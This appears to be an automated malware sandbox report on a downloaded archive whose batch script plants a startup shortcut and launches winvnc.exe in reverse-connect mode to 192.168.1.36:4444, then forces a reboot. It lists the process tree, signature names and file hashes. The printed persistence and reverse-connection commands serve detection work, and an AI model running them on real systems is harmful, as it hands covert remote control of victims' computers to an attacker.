Analysis

  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-08-2024 21:20

Errors

Reason
Machine shutdown

General

  • Target

    https://drive.google.com/drive/folders/19VvHwqfWxd-yUl_mPNdh1VRCtJl8IdZm?usp=sharing

Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 40 IoCs
  • Suspicious use of SendNotifyMessage 29 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/19VvHwqfWxd-yUl_mPNdh1VRCtJl8IdZm?usp=sharing
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9f57d46f8,0x7ff9f57d4708,0x7ff9f57d4718
      2⤵
        PID:4480
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
        2⤵
          PID:3512
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3980
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2932 /prefetch:8
          2⤵
            PID:724
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
            2⤵
              PID:852
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
              2⤵
                PID:1692
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
                2⤵
                  PID:396
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3540
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
                  2⤵
                    PID:3888
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
                    2⤵
                      PID:4672
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4688 /prefetch:1
                      2⤵
                        PID:1968
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:1
                        2⤵
                          PID:5072
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
                          2⤵
                            PID:4448
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5140 /prefetch:8
                            2⤵
                              PID:4776
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
                              2⤵
                                PID:2628
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2092,17980043920804467462,15965716587888656925,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5892 /prefetch:8
                                2⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2252
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:1036
                              • C:\Windows\System32\CompPkgSrv.exe
                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                1⤵
                                  PID:112
                                • C:\Windows\System32\rundll32.exe
                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                  1⤵
                                    PID:3620
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\main.bat" "
                                    1⤵
                                      PID:2572
                                      • C:\Windows\system32\attrib.exe
                                        attrib +R "C:\Users\Admin\Downloads\winvnc.exe"
                                        2⤵
                                        • Views/modifies file attributes
                                        PID:3268
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\main.bat';$s.Save()"
                                        2⤵
                                        • Drops startup file
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3200
                                      • C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\winvnc.exe
                                        winvnc.exe -run
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:4076
                                      • C:\Windows\system32\timeout.exe
                                        timeout /t 1
                                        2⤵
                                        • Delays execution with timeout.exe
                                        PID:3916
                                      • C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\winvnc.exe
                                        winvnc.exe -connect 192.168.1.36::4444
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1148
                                      • C:\Windows\system32\shutdown.exe
                                        shutdown /r /f /t 0
                                        2⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2244
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell "$s=(New-Object -COM WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.bat.lnk');$s.TargetPath='C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\main.bat';$s.Save()"
                                        2⤵
                                          PID:2612
                                        • C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\winvnc.exe
                                          winvnc.exe -run
                                          2⤵
                                            PID:3592
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 1
                                            2⤵
                                            • Delays execution with timeout.exe
                                            PID:4436
                                          • C:\Users\Admin\Downloads\client-20240808T212018Z-001\client\winvnc.exe
                                            winvnc.exe -connect 192.168.1.36::4444
                                            2⤵
                                              PID:3476
                                            • C:\Windows\system32\shutdown.exe
                                              shutdown /r /f /t 0
                                              2⤵
                                                PID:1804
                                            • C:\Windows\system32\LogonUI.exe
                                              "LogonUI.exe" /flags:0x4 /state0:0xa395e055 /state1:0x41c64e6d
                                              1⤵
                                              • Modifies data under HKEY_USERS
                                              • Suspicious use of SetWindowsHookEx
                                              PID:1444
                                            • C:\Windows\System32\rundll32.exe
                                              C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
                                              1⤵
                                                PID:3344

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                Filesize

                                                152B

                                                MD5

                                                ecf7ca53c80b5245e35839009d12f866

                                                SHA1

                                                a7af77cf31d410708ebd35a232a80bddfb0615bb

                                                SHA256

                                                882a513b71b26210ff251769b82b2c5d59a932f96d9ce606ca2fab6530a13687

                                                SHA512

                                                706722bd22ce27d854036b1b16e6a3cdb36284b66edc76238a79c2e11cee7d1307b121c898ad832eb1af73e4f08d991d64dc0bff529896ffb4ebe9b3dc381696

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                Filesize

                                                152B

                                                MD5

                                                4dd2754d1bea40445984d65abee82b21

                                                SHA1

                                                4b6a5658bae9a784a370a115fbb4a12e92bd3390

                                                SHA256

                                                183b8e82a0deaa83d04736553671cedb738adc909f483b3c5f822a0e6be7477d

                                                SHA512

                                                92d44ee372ad33f892b921efa6cabc78e91025e89f05a22830763217826fa98d51d55711f85c8970ac58abf9adc6c85cc40878032cd6d2589ab226cd099f99e1

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                Filesize

                                                6KB

                                                MD5

                                                811b9fbe60186dbe45e51e1c8d1f8ec3

                                                SHA1

                                                6ee197c59940b03aac4edd0f244d3915cabd177d

                                                SHA256

                                                2852d4bc213ae8ae28c35b33dfe7ed6fc04b0924d05b1a99e95ed256fbe43309

                                                SHA512

                                                88159bcdf7d70ce1eced25a559dfd13b3aba9ffb1b08fd1408058eadb4545c6c67e732954da029d5216e7eafc7684a12106d6a5c25b7837914093e044be30912

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                Filesize

                                                6KB

                                                MD5

                                                ed7143f19035a75468239a79202355df

                                                SHA1

                                                505275c5ae38e9ba08843c37889484bc57a7a9c1

                                                SHA256

                                                102da41b0cc432e61b95f49941e62365885e102308ed36344419987cdc2bddbd

                                                SHA512

                                                14e1a564245f580f9093d916ad61f2825d0fe8258fa44a6131dc059eb312fdc2674b8d8d954be78568079b3abc6f859e15aa733809e80411ebbbec379362eb1b

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                Filesize

                                                6KB

                                                MD5

                                                86eae644393c84d8019bd234fbd295a9

                                                SHA1

                                                477ea39f3446755e84443f709e8c6789cdfafcf7

                                                SHA256

                                                6d75a7f60083dc8bbb7e26b924c47f34e1cf88f03147d120cd34eb1a8bfbb155

                                                SHA512

                                                734d441ad675eb57f8e5737b3223d5f0ad69ec4d6139c2d25d9ead8c4877bea81f450b420743f180febe8fc624357963928570ec55667dc57c30da70d9ea9e45

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                Filesize

                                                1KB

                                                MD5

                                                e180831384e59e5e5910a70c2f82d55a

                                                SHA1

                                                3673165d793457a32932957fb12bc4cf5370e960

                                                SHA256

                                                3b9994d718f4755103a585378af814700763e432481edd82b637560afca74d98

                                                SHA512

                                                0925cb91097925398337bb418016925651bb7b908aaae9a9a5391feb9fe476e9594d076e29c62f8a2f761dac7b632226362dabdd15939fb38adff2d22587616b

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57e0ea.TMP

                                                Filesize

                                                1KB

                                                MD5

                                                61c0c6683b1f548abab23e909e640a71

                                                SHA1

                                                a1f48f48a869aea70a7835992897bb76a176c063

                                                SHA256

                                                93d934ec93f0a9abd9e6fce56e1542db29d8143bedd3701a65cffef4cde08096

                                                SHA512

                                                65e0e8f148beb3eb94a57972c0a652a3c65dce1065b7daa7cdd67e266e31823e868acf0c9550bce99dea98c0863c73cb08d991c62c6c43bce35d82c3756243ee

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                Filesize

                                                16B

                                                MD5

                                                6752a1d65b201c13b62ea44016eb221f

                                                SHA1

                                                58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                SHA256

                                                0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                SHA512

                                                9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                Filesize

                                                11KB

                                                MD5

                                                2a1f7f7f291cbb5fab0881f275d71d5b

                                                SHA1

                                                11c23e4a18743628b274885a0f45a8993805b3b1

                                                SHA256

                                                2ce4a27e64e24d3d3345aa2f999f07257a7b33eae8aed3b159dec2a21549feca

                                                SHA512

                                                a293068640b282d8ab0f8379aaccb12d1051d05b8d8db39cfd11ff6d00955fc793fa7ee93b4df4fd1ff2a9e5b4728fdd73f80b08eefab446758a48834d2235b9

                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                Filesize

                                                11KB

                                                MD5

                                                44dd72b94567630eca5c64607ee051c3

                                                SHA1

                                                35c1962a742a6945679d2dd21b5acfbdd6683d2f

                                                SHA256

                                                f00d4c50d6f1c9a20e2feb874db6d7e21e0d2bb5d081b90780644542a6e83ce6

                                                SHA512

                                                4f04e9fb62d279dd4f2f8ba63c8bf203e6b7240b18caa4fc4fbeb92170b558b004024363d55734d20de1580e9f6205492160e63b13874134496be8c31a5ecff6

                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tw5wjewa.zxd.ps1

                                                Filesize

                                                60B

                                                MD5

                                                d17fe0a3f47be24a6453e9ef58c94641

                                                SHA1

                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                SHA256

                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                SHA512

                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                              • C:\Users\Admin\Downloads\client-20240808T212018Z-001.zip

                                                Filesize

                                                1.0MB

                                                MD5

                                                7ba89f91be74e08e36bac55f975a6252

                                                SHA1

                                                48377b9238777abefdb2049953b35f8dae8581d2

                                                SHA256

                                                ed7524837f4b358c7d86ae2e3a4324c21ad1d7edd56526dea3e40152f12b1c7a

                                                SHA512

                                                e2da895c63e8ea54428549e8494cebc95c33a86426edc4469d3da1d25970c2e78fd8bcb3fa95adfd4949028b9260944e18f78aa474b9f9d5ac244584d9d80c58

                                              • memory/3200-193-0x0000014E72D80000-0x0000014E72DA2000-memory.dmp

                                                Filesize

                                                136KB